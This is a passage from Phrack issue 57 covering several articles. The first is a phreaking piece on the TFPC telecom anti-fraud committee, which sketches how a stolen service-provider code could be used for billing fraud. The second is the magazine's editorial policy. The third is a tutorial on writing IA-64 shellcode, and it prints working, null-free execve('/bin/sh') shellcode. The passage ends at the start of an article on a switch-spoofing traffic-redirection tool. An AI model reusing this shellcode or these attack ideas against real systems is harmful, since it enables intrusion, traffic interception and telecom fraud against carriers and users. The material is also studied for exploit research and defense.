While making this article I was amazed how little information people I
contacted were willing to give. This was also the reason why I decided to
write this article as I stumbled upon the TFPC some time ago and found
little to no information about them.
I hope this article will be of use to you.
please e-mail neme-dhc@hushmail.com if you have questions.
nemesystm
[What the TFPC does.]
According to the guidelines that can be found on the TFPC website(1), "The
TFPC is an open industry committee under the Carrier Liaison Committee
(CLC). The TFPC provides an open committee to encourage the discussion and
resolution, on a voluntary basis, of industry-wide issues associated with
telecommunications fraud, and facilitates the exchange of information
concerning these topics."(2)
This told me next to nothing; a little searching was in order. The
following factors affecting telecom fraud are handled by the TFPC:(3)
SPI's - Service Provider Identification
An SPI is a 4 character code that can be used in SS7 to identify who
provides the service of a call.
If you would like a short description of SS7 or Switching System 7, go
to: www.cid.alcatel.com/doctypes/techprimer/keywords/ss7.jhtml
Number pooling
Number pooling refers to the blocks of ten thousand numbers and thousand
numbers that a provider draws from to provide customers with phone
numbers. An example of a ten thousand number block is 214-745-xxxx
Merging of the BVDB - Billing Validation DataBase
The BVDB's are used by RAO (Revenue Accounting Offices) of the carriers
to calculate how much a customer has to pay. Currently BVDB's are not
merged so some people try to stay ahead of them.
Expansion of the LIDB - Line Information DataBase
The LIDB sends a message to the BVDB's telling them about a call that
is being made. Fraud happens for example when the LIDB cannot connect to
the proper BVDB to write the bill.
Additions to LSR - Local Service Requests
LSR requests basically occur when you make a local call in North
America. You do not pay for the call and therefore it is not recorded
in any way. The TFPC is working together with the OBF (Order and Billing
Forum) to find a industry wide solution to make it that those calls are
also recorded by the DVDB's for the RAO's.
A second source(4) also added the following:
"While much of the TFPC's activities are shrouded in secrecy, it is
actively addressing third number billing, incoming international collect
to cellular, incoming payphone and PBX remote access fraud."
I think that clears things up a little.
[who is in the TFPC.]
The TFPC membership consists of a group of carriers including Ameritech,
AT&T, Bellsouth, Bell Canada, British Telecom, Sprint and Verizon.(5)
A TFPC member must be an organization, company or government agency that
is affected by Telecommunications Fraud.
Because the TFPC discusses sensitive information a non-disclosure agreement
must be signed.(6) When becoming a member of the TFPC you also have to pay
a membership fee. The membership fee is relatively small and really more
a sign of good will.(7)
[what they decide - case study]
In the infinite wisdom that the TFPC has, ;) they decided that it was
alright to make one of the issues public. The issue I was able to get was
Issue #0131(8), subtitled: "Identification of Service Providers for Circuit
Switched Calls".
The issue was raised by Norb Lucash of the USTA.
"Issue statement: In a multi-service provider environment (e.g. resale,
unbundling, interconnection) there is a need for a defined
architecture(s) to identify entities (companies) that are involved in
circuit-switched calls to facilitate billing and auditing."
If you look into this you'll see that it means that there was no
identification of the individual service providers when phone calls were
circuit switched. Apparently Local Service Providers (LSP's) were
identified by the originating phone number, but because of the current
"environment" this is not working properly, so sometimes calls that cost
money can not be properly billed.
To solve this problem phone calls are to be accompanied by a SPI. Then
everyone can just check the SPI to find out who to bill for the call.
There are several solutions to the problem so a strawman was created called
"Service Provider Identification Architectural Alternatives Report"(9).
Quite the mouthful.
This issue was first raised on 11/17/98 and is still being worked on. In
general session #28 (one of the tri-yearly meetings) on May 1st of 2001
it was concluded that this was allowed to be made available on the NIIF site.
The NIIF were the people that made the strawman. NIIF stands for Network
Interconnection Interoperability Forum and is part of the CLC, just like
the TFPC is.
I believe this will be a recipe for disaster. What if a rather disgruntled
individual manages to get the SPI of company X? This individual truly
dislikes company X. So he hooks into a main phone line and calls the most
expensive places and does it quite often. The company handling the phone
calls recognizes the SPI to be from company X. Company X gets the bill and
thinks: no problem, we'll just bill the person who made the calls. When
company X finds out none of their clients made those calls they have lost
money. The choice made from the solutions below will decide how the attack
would be done.
[the alternatives - case continued]
As I said before, there are several solutions to the problem of the SPI's.
Here they are:
A. Switch-Based Alternative
B. Non-Real Time Database Alternative
C. Network Database Alternative
D. Non-Call Setup Network Alternative
E. Phased SPI Implementation Alternative
What follows is a run through of how each solution would work.
A. Switch-Based Alternative
When a call is coming in, information about the account owner of the
person calling becomes available as a line-based attribute. Both the
acount owner and switch owner information is forwarded in a new parameter
in the (SS7) call-setup signalling of the IAM (Initial Address Message).
This information is then made available to every network node on the route
of the call. When the calls reaches the final switch, similar information
of the SPI of the called number is returned via (SS7) response messages,
(e.g, ACM (Address Complete Message) and ANM (Answer Message)). When that
information is received the originating switch has the option of including
it within the originating AMA (Automatic Message Accounting) record of the
call.
An advantage of this would be that the information would move in real time
between the companies involved. But this solution has some problems, it
would require that all switches get enhanced, the AMA will have to change
to make this possible and it doesn't take care of situations where SPI-type
information is needed for numbers which are neither owned by the called
nor calling person.
B. Non-Real Time Database Alternative
With this alternative it is the idea that SPI information should be put
in
one or more databases not directly connected to the processing of separate
calls. The information could then be made available on request to the phone
network some time after the call. The time between the call and the receipt
of the SPI information can range from mere milliseconds up to weeks.
This is actually an alright approach because only one (minor) problem gets
created and only one problem remains. Everyone would have to agree who
would be the third, independent, party to maintain the database. This
alternative would not allow for SPI-based screening for call routing
purposes.
C. Network Database Alternative
Sort of like the Switch-Based Alternative, this does real-time receiving
and sending of SPI information when the call gets made. But the
Switch-Based Alternative gets the SPI information from the switch. This
alternative gets the information from an external database connected to
the
network. SPI information would then by grabbed by IN (Intelligent Network)
or AIN (Advanced Intelligent Network) queries when the call is made.
The information could become part of one of the queries currently in use
(LNP, LIDB and Toll Free for example) or a completely new query that gets
handled by a separate SCP (Service Control Point).
D. Non-Call Setup Network Alternative
The idea behind this solution is that the SPI information still comes
through network signalling but detached from the call setup portion.
ONLS (Originating Line Number Screening) and GET DATA (SS7) messaging
are a way to get information outside of the standard call setup.
E. Phased SPI Implementation Alternative
The NIIF analysed the other solutions and figures alternative C is the best
way to go as it comes closest to the requirements of the system that is
needed.
Implementation of any alternative that provides SPI in a real-time way will
have a serious impact on the phone network and it will take a long time
before it is completely implemented.
Not all carriers have a SPI right now, so an expedited solution must be
found for their problems. The NIIF thinks a segmented implementation of
a
limited SPI capability with a non real-time database will be best. In the
future the database could be enhanced.
A phased approach that begins with including SPI information with a non
real-time accessible line-level database appears to be possible to
implement in the near future that gives a lot of the wanted attributes.
The NIIF thinks it will be best if existing LIDB's get used as a database
at first because a lot of the LIDB's will already contain an Account Owner
field, are available to most facilities-bases service providers and may
not require that much change.
Problems with LIDB's are: Potential overload of LIDB queries.
Inability to perform batch processing to do off
hour downloads.
Potential call delay set ups because of the
higher amount of queries.
[so what is it going to be?]
Right now no final decision has been made, all this information has been
sent to the OBF (Order & Billing Forum) to make a RFP (Request For Process)
so a final decision can be made.
By the sounds of things alternative E is probably going to be the "winner"
in all of this.
[miscellaneous information]
The mailing address for the TFPC is(6)
TFPC Secretary - ATIS
1200 G St. NW Suite 500
Washington, D.C. 20005
Ofcourse the TFPC is not the only anti fraud initiative.
A lot of telephony associations have a anti fraud section as well.
I noticed that the following five were mentioned on quite a few websites
on
telephone fraud. One such source was Agilent(10). Agilent is one of the
members of the TFPC.
http://www.cfca.org
- Communications Fraud Control Association (CFCA)
http://www.asisonline.org
- American Society for Industrial Security (ASIS)
http://www.htcia.org
- High Technology Crime Investigation Association (HTCIA)
http://www.iir.com/nwccc/nwccc.htm
- National White Collar Crime Center (NWCCC)
http://www.fraud.org
- National Fraud Information Center (NFIC)
[conclusion]
Judging by the amount of planning, who are members and the work found you
can rest assured that once a decision is made all members will implement
it. This makes things harder for a phreak.
As the discovery of a problem by one company gets shared with other
companies even greater vigilance is needed by individuals who do not want
word to get out about their tricks.
I do not think that committees like the TFPC will succeed in banning out
all the mistakes in the telephony network. This article showed that with
the introduction of a solution for one problem another potential problem
opened. I am sure there are many more.
[sources]
(1) http://www.atis.org/atis/clc/tfpc/tfpc/tfpchom.htm
from "TFPC Guidelines v1.0" published February 2001,
(2) found in section II, Mission Statement.
http://www.atis.org/pub/clc/tfpc/tfpcguidefinal201.pdf
(3) according to a slide show taken from Nortel.com
called "Securing Your Net", presented by David Bench, Senior Staff
Manager-Industry Forums Liaison US Standards & industry forums team.
monitor.pdf and portability.pdf
I have lost the links so I have put them up at
http://www.emc2k.com/dhcorp/tfpc/monitor.pdf and
http://www.emc2k.com/dhcorp/tfpc/portability.pdf
(4) from a overview of The Operator, volume I, number 10.
read in the letter from the editor section.
published October, 1992
http://www.whitaker.com/theoperator/opop0010.htm
(5) from "TFPC Company Participants"
http://www.atis.org/atis/clc/tfpc/tfpclist.htm
(6) Non-disclosure agreement
http://www.atis.org/pub/clc/tfpc/nondnew.pdf
(7) as assumed by reading "2001 Funding fees for the TFPC"
http://www.atis.org/pub/clc/tfpc/tfpc2001fees.doc
(8) History of decisions from 1998 until 2001 for issue 131
http://www.atis.org/pub/clc/niif/issues/0131.doc
(9) The original link died. I put it up for people to view at
http://www.emc2k.com/dhcorp/tfpc/131strawr8.doc
(10)The following URL is cut up a bit to fit properly.
http://www.agilent.com/cm/commslink/hub/issues/fraud/*CONNECT*
fraud_prevent_initiatives.html
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x04 of 0x12
|=-------------------=[ THE PHRACK EDITORIAL POLICY ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ phrackstaff ]=----------------------------=|
"Scholars and academics naturally tend to believe that formal
knowledge is the most important way of knowing, and perhaps
they are right, yet even so it is not formal but common
knowledge which informs nearly all the day-to-day decisions
and actions people take, even the most learned among them."
- William Gosling [Gosling, 1995]
----| 1. Introduction
Because the editorship of Phrack has moved from being solely under the control
of one person (route) to a group of "phrack staff", it is valuable to reiterate
the editorial policy for the magazine.
Please note that it is not the intention of this article to describe
requirements for what we will or will not accept for publication. The goal is
to provide a number of pointers for authors which they will hopefully find
useful when writing articles that they intend to submit.
Firstly, we wish to stress that we are dedicated to continuing and improving
the reputation Phrack has for publishing interesting and original articles.
Articles published in Phrack have always fulfilled two general criteria:
1. The research described in the article is original and new.
2. The article is well written.
This has always been what Phrack is all about and it will remain that way.
Each of the sections below describe things to keep in mind if you intend
writing and submitting an article for the magazine.
----| 2. Subjects for Research
We will never specify particular technology areas that authors should
concentrate on. What you choose to write about is entirely up to you, assuming
of course that it is related in some way to information security!
Many articles published in Phrack in the past have concentrated on an
individual concept or an individual technology and we would like to see
articles that combine concepts to create new ideas. For example: distributed
denial of service tools exist because of work done on network agents that can
be remotely controlled. What other ways can network agents be employed?
Certainly for distributed password sniffing (roll your on Echelon...) and
distributed network scanning, but also for worms and even as agents programmed
to perform autonomous network penetration. We are as interested in the
evolution of existing ideas as we are in research on entirely new subjects.
A good example of this type of thinking is the editorial written by route in
Phrack 53. His article describes the properties of server-centric attacks
that most people are familiar with. In addition however, he talks about
client-centric attacks - an idea which only seems obvious in hindsight and that
certainly deserves much more attention.
----| 3. Writing in Plain Language
Multiple Phrack articles have been "put into plain language" for general
consumption by third-parties such as online news outlets. They have taken
the ideas presented in Phrack articles and described them using language and
analogies that their readers can understand. With concepts such as
distributed denial of service and buffer overflows it is not necessary for the
reader to understand the subject at a very technical level in order to
understand the underlying idea.
It is a fact that as subject matter becomes more technically esoteric and
complex the audience that can understand that type of information gets smaller
and smaller.
When writing about technical subjects it is tempting to write in highly
technical language (and I admit that I am sometimes guilty of this myself), but
please take into consideration the fact that the audience for Phrack is at
varying levels of technical competence; this is a fact of life. In addition,
many of the readers of Phrack may not have English as their first language and
this makes it especially important that articles are clear so that we can
maximize the readership. There is no shame in writing in simple language.
For these reasons we encourage submissions to Phrack to be written in language
that is not excessively technical. We appreciate however that this is
difficult to do when writing about subjects which are technical by their very
nature.
----| 4. Full Expansion of Ideas
A good article becomes a great article when the idea being presented is carried
through to its full and logical conclusion.
For example: Phrack has published a number of articles on evading network-based
intrusion detection systems (IDS). Assuming that we have a new technique to
document that allows us to bypass most IDS; of course the article must include
a description of the theory behind the technique, but to make the article
complete is should also include:
* A description of what fundamental mistake the designers of the IDS made to
allow the technique to work.
* A section in the article on what can be done to mitigate the risk of the
technique. For example: a patch or a change in the way an IDS is deployed
or used.
* A discussion of other technologies that may be affected by similar
techniques. For this example this could be firewall technology that
attempts to perform signature-based content analysis or even anti-virus
software based on a misuse-detection model.
We encourage ideas to be presented fully and in a way that does not simply look
at the technology in isolation.
----| 5. Using References
Putting references to other pieces of work has become almost standard practice
for Phrack articles. This is a very good thing because it allows the reader to
continue their research into the particular subject.
At the end of your article, the list of references should include the author,
the title, the date of the work, and also a URL for where it can be found
online. For example:
[Stewart, 2000] Andrew J. Stewart, "Distributed Metastasis: A Computer
Network Penetration Methodology", September, 1999. http://www.
securityfocus.com/data/library/distributed_metastasis.pdf
In addition to references for related pieces of work, we would like to see
references to any materials that you found useful when performing your research
for the article. This could include books, manuals, materials found online,
and so on.
Any suggestions that you may have for follow-on work should be included.
Perhaps you are aware of a related technique that might work but have not had
the time to investigate it: include this in your article.
----| 6. Conclusions
This article should in no way be viewed as an attempt to force people into
writing Phrack articles a certain way. These are simply some observations
about what has been done in the past and could possibly be improved upon in the
future. Happy writing!
----| 7. References
[Gosling, 1995] William Gosling, "Helmsmen and Heroes - Control Theory as a
Key to Past and Future", 1994.
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x05 of 0x12
|=-------------------=[ WRITING SHELLCODE FOR IA-64 ]=-------------------=|
|=-----------=[ or: 'how to turn diamonds into jelly beans' ]------------=|
|=--------------------=[ papasutra of haquebright ]=---------------------=|
- Intro
- Big Picture
- Architecture
- EPIC
- Instructions
- Bundles
- Instruction Types and Templates
- Registers
- Register List
- Register Stack Engine
- Dependency Conflicts
- Alignment and Endianness
- Memory Protection
- Privilege Levels
- Coding
- GCC IA-64 Assembly Language
- Useful Instruction List
- Optimization
- Coding Aspects
- Example Code
- References
- Greetings
--> Intro
This paper outlines the techniques you need and the things I've
learned about writing shellcode for the IA-64. Although the IA-64 is
capable of executing IA-32 code, this is not topic of this paper.
Example code is for Linux, but most of this applies to all operating
systems that run on IA-64.
--> Big Picture
IA-64 is the successor to IA-32, formerly called the i386
architecture, which is implemented in all those PC chips like Pentium
and Athlon and so on.
It is developed by Intel and HP since 1994, and is available in the
Itanium chip. IA-64 will probably become the main architecture for the
Unix workstations of HP and SGI, and for Microsoft Windows. It is a 64
bit architecture, and is as such capable of doing 64 bit integer
arithmetic in hardware and addressing 2^64 bytes of memory. A very
interesting feature is the parallel execution of code, for which a
very special binary format is used.
So lets get a little more specific.
--> EPIC
On conventional architectures, parallel code execution is made
possible by the chip itself. The instructions read are analyzed,
reordered and grouped by the hardware at runtime, and therefore only
very conservative assumptions can be made.
EPIC stands for 'explicit parallel instruction computing'. It works by
grouping the code into independent parts at compile time, that is, the
assembly code must already contain the dependency information.
--> Instructions
The instruction size is fixed at 41 bits. Each instruction is made up
of five fields:
+-----------+-----------+-----------+-----------+-----------+
| opcode | operand 1 | operand 2 | operand 3 | predicate |
+-----------+-----------+-----------+-----------+-----------+
| 40 to 27 | 26 to 20 | 19 to 13 | 12 to 6 | 5 to 0 |
+-----------+-----------+-----------+-----------+-----------+
The large opcode space of 14 bits is used for specializing
operations. For example, there are different branch instructions for
branches that are taken often and ones taken seldomly. This extra
information is then used in the branch prediction unit.
There are three operand fields usable for immediate values or register
numbers. Some instructions combine all three operand fields to a
single 21 bit immediate value field. It is also possible to append a
complete 41 bit instruction slot to another one to form a 64 bit
immediate value field.
The last field references a so called predicate register by a 6 bit
number. Precicate registers each contain a single bit to represent the
boolean values 'true' and 'false'. If the value is 'false' at
execution time, the instruction is discarded just before it takes
effect. Note that some instructions cannot be predicated.
If a certain operation does not need a certain field in the scheme
above, it is set to zero by the assembler. I tried to fill in other
values, and it still worked. But this may not be the case for every
instruction and every implementation of the IA-64 architecture. So be
careful about this...
Also note that there are some shortcut instructions such as mov, which
for real is just an add operation with register 0 (constant 0) as the
other argument.
--> Bundles
In the compiled code, instructions are grouped together to 'bundles'
of three. Included in every bundle is a five bit template field that
specifies which hardware units are needed for the execution.
So what it boils down to is a bundle length of 128 bits. Nice, eh?
+-----------+----------+---------+----------+
| instr 1 | instr 2 | instr 3 | template |
|-----------+----------+---------+----------|
| 127 to 87 | 86 to 46 | 45 to 5 | 4 to 0 |
+-----------+----------+---------+----------+
Templates are used to dispatch the instructions to the different
hardware units. This is quite straightforward, the dispatcher just has
to switch over the template bits.
Templates can also encode a so-called 'stop' after instruction slots.
Stops are used to break parallel instruction execution, and you will
need them to solve Data Flow Dependencies (see below). You can put a
stop after every complete bundle, but if you need to save space, it is
often better to stop after an instruction in the middle of a bundle.
This does not work for every template, so you need to check the
template table below for this.
The independent code regions between stops are called instruction
groups. Making use of the parallel semantics they carry, the Itanium
for example is capable of executing up to two bundles at once, if
there are enough execution units for the set of instructions specified
in the templates. In the next implementations the numbers will be
higher for sure.
--> Instruction Types and Templates
There are different instruction types, grouped by the hardware unit
they need. Only certain combinations are allowed in a single bundle.
Instruction types are A (ALU Integer), I (Non-ALU Integer), M
(Memory), F (Floating Point), B (Branch) and L+X (Extended). The X
slots may also contain break.i and nop.i for compatibility reasons.
In the following template list, '|' is a stop:
00 M I I
01 M I I|
02 M I|I <- in-bundle stop
03 M I|I| <- in-bundle stop
04 M L X
05 M L X|
06 reserved
07 reserved
08 M M I
09 M M I|
0a M|M I <- in-bundle stop
0b M|M I| <- in-bundle stop
0c M F I
0d M F I|
0e M M F
0f M M F|
10 M I B
11 M I B|
12 M B B
13 M B B|
14 reserved
15 reserved
16 B B B
17 B B B|
18 M M B
19 M M B|
1a reserved
1b reserved
1c M F B
1d M F B|
1e reserved
1f reserved
--> Registers
This is not a comprehensive list, check [1] if you need one.
IA-64 specifies 128 general (integer) registers (r0..r127). There are
128 floating point registers, too (f0..f127).
Predicate Registers (p0..p63) are used for optimizing runtime
decisions. For example, 'if' results can be handled without branches
by setting a predicate register to the result of the 'if', and using
that predicate for the conditional code. As outlined above, predicate
registers are referenced by a field in every instruction. If no
register is specified, p0 is filled in by the assembler. p0 is always
'true'.
Branch Registers (b0..b7) are used for indirect branches and
calling. Branch instructions can only handle branch registers. When
calling a function, the return address is stored in b0 by
convention. It is saved to local registers by the called function if
it needs to call other functions itself.
There are the special registers Loop Count (LC) and Epilogue Count
(EC). Their use is explained in the optimization chapter.
The Current Frame Marker (CFM) holds the state of the register
rotation. It is not accessible directly. The Instruction Pointer (IP)
contains the address of the bundle that is currently executed.
The User Mask (UM):
+-------+-------------------------------------------------------------+
| flag | purpose |
+-------+-------------------------------------------------------------+
| UM.be | set this to 1 for big endian data access |
| UM.ac | if this is 0, Unaligned Memory Faults are raised only if |
| | the situation cannot be handled by the processor at all |
+-------+-------------------------------------------------------------+
The User Mask can be modified from any privilege level (see below).
Some interesting Processor Status Register (PSM) fields:
+---------+-----------------------------------------------------------+
| flag | purpose |
+---------+-----------------------------------------------------------+
| PSR.pk | if this is 0, protection key checks are disabled |
| PSR.dt | if this is 0, physical addressing is used for data |
| | access; access rights are not checked. |
| PSR.it | if this is 0, physical addressing is used for instruction |
| | access; access rights are not checked. |
| PSR.rt | if this is 0, the register stack translation is disabled |
| PSR.cpl | this is the current privilege level. See its chapter for |
| | details. |
+---------+-----------------------------------------------------------+
All but the last of these fields can only be modifiled from privilege
level 0 (see below).
--> Register List
+---------+------------------------------+
| symbol | Usage Convention |
+---------+------------------------------+
| b0 | Call Register |
| b1-b5 | Must be preserved |
| b6-b7 | Scratch |
| r0 | Constant Zero |
| r1 | Global Data Pointer |
| r2-r3 | Scratch |
| r4-r5 | Must be preserved |
| r8-r11 | Procedure Return Values |
| r12 | Stack Pointer |
| r13 | (Reserved as) Thread Pointer |
| r14-r31 | Scratch |
| r32-rxx | Argument Registers |
| f2-f5 | Preserved |
| f6-f7 | Scratch |
| f8-f15 | Argument/Return Registers |
| f16-f31 | Must be preserved |
+---------+------------------------------+
Additionaly, LC must be preserved.
--> Register Stack Engine
IA-64 provides you with a register stack. There is a register frame,
consisting of input (in), local (loc), and output (out) registers. To
allocate a stack frame, use the 'alloc' instruction (see [1]). When a
function is called, the stack frame is shifted, so that the former
output registers become the new input registers. Note that you need to
allocate a stack frame even if you only want to access the input
registers.
Unlike on SPARC, there are no 'save' and 'restore' instructions needed
in this scheme. Also, the (memory) stack is not used to pass arguments
to functions.
The Register Stack Engine also provides you with register
rotation. This makes modulo-scheduling possible, see the optimization
chapter for this. The 'alloc' described above specifies how many
general registers rotate, the rotating region always begins at r32,
and overlaps the local and output registers. Also, the predicate
registers p16 to p63 and the floating point register f32 to f127
rotate.
--> Dependency Conflicts
Dependency conflicts are formally classified into three categories:
- Control Flow Conflicts
These occur when assumptions are made if a branch is taken or not.
For example, the code following a branch instruction must be discarded
when it is taken. On IA-64, this happens automatically. But if the
code is optimized using control speculation (see [1]), control flow
conflicts must be resolved manually. Hardware support is provided.
- Memory Conflicts
The reason for memory conflicts is the higher latency of memory
accesses compared to register accesses. Memory access is therefore
causing the execution to stall. IA-64 introduces data speculation (see
[1]) to be able to move loads to be executed as early as possible in
the code.
- Data Flow Conflicts
These occur when there are instructions that share registers or memory
fields in a block marked for parallel execution. This leads to
undefined behavior and must be prevented by the coder. This is the
type of conflict that will bother you the most, especially when trying
to write compact code!
--> Alignment and Endianess
As on many other architectures, you have to align your data and
code. On IA-64, code must be aligned on 16 byte boundaries, and is
stored in little endian byte order. Data fields should be aligned
according to their size, so an 8 bit char should be aligned on 1 byte
boundaries. There is a special rule for 10 byte floating point numbers
(should you ever need them), that is you have to align it on 16 byte
boundaries. Data endianess is controlled by the UM.be bit in the user
mask ('be' means big endian enable). On IA-64 Linux, little endian is
default.
--> Memory Protection
Memory is divided into several virtual pages. There is a set of
Protection Key Registers (PKR) that contain all keys required for a
process. The Operating System manages the PKR. Before memory access is
permitted, the key of the respective memory field (which is stored in
the Translation Lookaside Buffer) is compared to all the PKR keys. If
none matches, a Key Miss fault is raised. If there is a matching key,
it is checked for read, write and execution rights. Access
capabilities are calculated from the key's access rights field, the
privilege level of the memory page and the current privilege level
of the executing code (see [1] for details). If an operation is to be
performed which is not covered by the calculated capabilities, a Key
Permission Fault is generated.
--> Privilege Levels
There are four privilege levels numbered from 0..3, with 0 being the
most privileged one. System instructions and registers can only be
called from level 0. The current privilege level (CPL) is stored in
PSR.cpl. The following instructions change the CPL:
- enter privileged code (epc)
The epc instruction sets the CPL to the privilege level of the page
containing the epc instruction, if it is numerically higher than the
CPL. The page must be execute only, and the CPL must not be
numerically lower than the previous privilege level.
- break
'break' issues a Break Instruction Fault. As every instruction fault
on IA-64, this sets the CPL to 0. The immediate value stored in the
break encoding is the address of the handler.
- branch return
This resets the CPL to previous value.
--> GCC IA-64 Assembly Language
As you should have figured out by now, assembly language is normally
not used to program a chip like this. The optimization techniques are
very difficult for a programmer to exploit by hand (although possible
of course). Assembly will always be used to call some processor ops
that programming languanges do not support directly, for algoritm
coding, and for shellcode of course.
The syntax basically works like this:
(predicate_num) opcode_name operand_1 = operand_2, operand_3
Example:
(p1) fmul f1 = f2, f3
As mentioned in the instruction format chapter, sometimes not all
operand fields are used, or operand fields are combined.
Additionally, there are some instructions which cannot be predicated.
Stops are encoded by appending ';;' to the last instruction of an
instruction group. Symbolic names are used to reference procedures, as
always.
--> Useful Instruction List
Although you will have to check [3] in any case, here are a very few
instructions you may want to check first:
+--------+------------------------------------------------------------+
| name | description |
+--------+------------------------------------------------------------+
| dep | deposit an 8 bit immediate value at an arbitrary position |
| | in a register |
| dep | deposit a portion of one reg into another |
| mov | branch register to general register |
| mov | max 22 bit immediate value to general register |
| movl | max 64 bit immediate value to general register |
| adds | add short |
| branch | indirect form, non-call |
+--------+------------------------------------------------------------+
--> Optimizations
There are some optimization techniques that become possible on
IA-64. However because the topic of this paper is not how to write
fast code, they are not explained here. Check [5] for more information
about this, especially look into Modulo Scheduling. It allows you to
overlap multiple iterations of a loop, which leads to very compact
code.
--> Coding Aspects
Stack: As on IA-32, the stack grows to the lower memory
addresses. Only local variables are stored on the stack.
System calls: Although the epc instruction is meant to be used
instead, Linux on IA-64 uses Break Instruction Faults to do a system
call. According to [6], Linux will switch to epc some day, but this
has not yet happened. The handler address used for issuing a system
call is 0x100000. As stated above, break can only use immediate values
as handler addresses. This introduces the need to construct the break
instruction in the shellcode. This is done in the example code below.
Setting predicates: Do that by using the compare (cmp)
instructions. Predicates might also come handy if you need to fill
some space with instructions, and want to cancel them out to form
NOPs.
Getting the hardware: Check [2] or [7] for experimenting with IA-64,
if you do not have one yourself.
--> Example Code
<++> ia64-linux-execve.c !f4ed8837
/*
* ia64-linux-execve.c
* 128 bytes.
*
*
* NOTES:
*
* the execve system call needs:
* - command string addr in r35
* - args addr in r36
* - env addr in r37
*
* as ia64 has fixed-length instructions (41 bits), there are a few
* instructions that have unused bits in their encoding.
* i used that at two points where i did not find nul-free equivalents.
* these are marked '+0x01', see below.
*
* it is possible to save at least one instruction by loading bundle[1]
* as a number (like bundle[0]), but that would be a less interesting
* solution.
*
*/
unsigned long shellcode[] = {
/* MLX
* alloc r34 = ar.pfs, 0, 3, 3, 0 // allocate vars for syscall
* movl r14 = 0x0168732f6e69622f // aka "/bin/sh",0x01
* ;; */
0x2f6e458006191005,
0x631132f1c0016873,
/* MLX
* xor r37 = r37, r37 // NULL
* movl r17 = 0x48f017994897c001 // bundle[0]
* ;; */
0x9948a00f4a952805,
0x6602e0122048f017,
/* MII
* adds r15 = 0x1094, r37 // unfinished bundle[1]
* or r22 = 0x08, r37 // part 1 of bundle[1]
* dep r12 = r37, r12, 0, 8 // align stack ptr
* ;; */
0x416021214a507801,
0x4fdc625180405c94,
/* MII
* adds r35 = -40, r12 // circling mem addr 1, shellstr addr
* adds r36 = -32, r12 // circling mem addr 2, args[0] addr
* dep r15 = r22, r15, 56, 8 // patch bundle[1] (part 1)
* ;; */
0x0240233f19611801,
0x41dc7961e0467e33,
/* MII
* st8 [r36] = r35, 16 // args[0] = shellstring addr
* adds r19 = -16, r12 // prepare branch addr: bundle[0] addr
* or r23 = 0x42, r37 // part 2 of bundle[1]
* ;; */
0x81301598488c8001,
0x80b92c22e0467e33,
/* MII
* st8 [r36] = r17, 8 // store bundle[0]
* dep r14 = r37, r14, 56, 8 // fix shellstring
* dep r15 = r23, r15, 16, 8 // patch bundle[1] (part 2)
* ;; */
0x28e0159848444001,
0x4bdc7971e020ee39,
/* MMI
* st8 [r35] = r14, 25 // store shellstring
* cmp.eq p2, p8 = r37, r37 // prepare predicate for final branch.
* mov b6 = r19 // (+0x01) setup branch reg
* ;; */
0x282015984638c801,
0x07010930c0701095,
/* MIB
* st8 [r36] = r15, -16 // store bundle[1]
* adds r35 = -25, r35 // correct string addr
* (p2) br.cond.spnt.few b6 // (+0x01) branch to constr. bundle
* ;; */
0x3a301799483f8011,
0x0180016001467e8f,
};
/*
* the constructed bundle
*
* MII
* st8 [r36] = r37, -8 // args[1] = NULL
* adds r15 = 1033, r37 // syscall number
* break.i 0x100000
* ;;
*
* encoding is:
* bundle[0] = 0x48f017994897c001
* bundle[1] = 0x0800000000421094
*/
<-->
--> References
[1] HP IA-64 instruction set architecture guide
http://devresource.hp.com/devresource/Docs/Refs/IA64ISA/
[2] HP IA-64 Linux Simulator and Native User Environment
http://www.software.hp.com/products/LIA64/
[3] Intel IA-64 Manuals
http://developer.intel.com/design/ia-64/manuals/
[4] Sverre Jarp: IA-64 tutorial
http://cern.ch/sverre/IA64_1.pdf
[5] Sverre Jarp: IA-64 performance-oriented programming
http://sverre.home.cern.ch/sverre/IA-64_Programming.html
[6] A presentation about the Linux port to IA-64
http://linuxia64.org/logos/IA64linuxkernel.PDF
[7] Compaq Testdrive Program
http://www.testdrive.compaq.com
The register list is mostly copied from [4]
--> Greetings
palmers, skyper and scut of team teso
honx and homek of dudelab
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x06 of 0x12
|=-------------------------=[ T A R A N I S ]=---------------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ Jonathan Wilkins ]=-------------------------=|
Taranis
-------
Code by Jonathan Wilkins <jwilkins@bitland.net>
Original concept by Jesse <jesse@bitland.net>.
Thanks to Skyper <skyper@segfault.net> for his assistance
URL: http://www.bitland.net/taranis
Summary
-------
Taranis redirects traffic on switch hardware by sending spoofed ethernet
traffic. This is not the same as an ARP poisoning attack as it affects
only the switch, and doesn't rely on ARP packets. Plus, it is virtually
invisible because the packets it sends aren't seen on any other port on
the switch. Evading detection by an IDS that may be listening on a
monitoring port is as simple as changing the type of packet that is sent
by the packet spoofing thread.
How it works
------------
First, some history. Back in the old days, we had 10base5, or thick Ethernet.
The 10 prefix meant that it was 10 Megabit and the 5 postfix indicated that
the maximum cable length was 500 meters. It used a coaxial cable, much like
cable TV uses. (The difference is in the maximum impedence of the cable, TV
cable is 75 ohm, ethernet is 50 ohm) Coaxial cable consists of a central wire
which is surrounded by a layer of insulator, which is enclosed in a shield
made of thin stranded wire. This is all encased in another thinner insulating
layer. A thick Ethernet network had a shared backplane and then a series of
trancievers that plugged into it. If the shared portion of the cable broke,
or rodents happened to chew through it, then the entire network went down.
Since the cable was usually strung throughout the ceiling and walls it was
quite inconvenient to fix. Long runs of cable had to be augmented by a
repeater, which was just a little device that boosted the signal strength.
A 10base5 network looked something like this:
Shared backplane
X-+------+------+------+------+------+-X (+ - Tranciever)
| | | | | | (X - Terminator)
| | | | | |
Host Host Host Host Host Host
A B C D E F
This was replaced by thin Ethernet (10base2, which means that it was 10Mbit and
had a maximum cable length of 200 meters)), which was based on a shared
cable but didn't require trancievers and so was less expensive. (10base2 was
also known as cheapernet) It was also vulnerable to the rodent attack.
10base2 looked something like this:
X------.------.------.------.------.------X
Host Host Host Host Host
A B C D E
(X - terminator which is just a 50 ohm resistor)
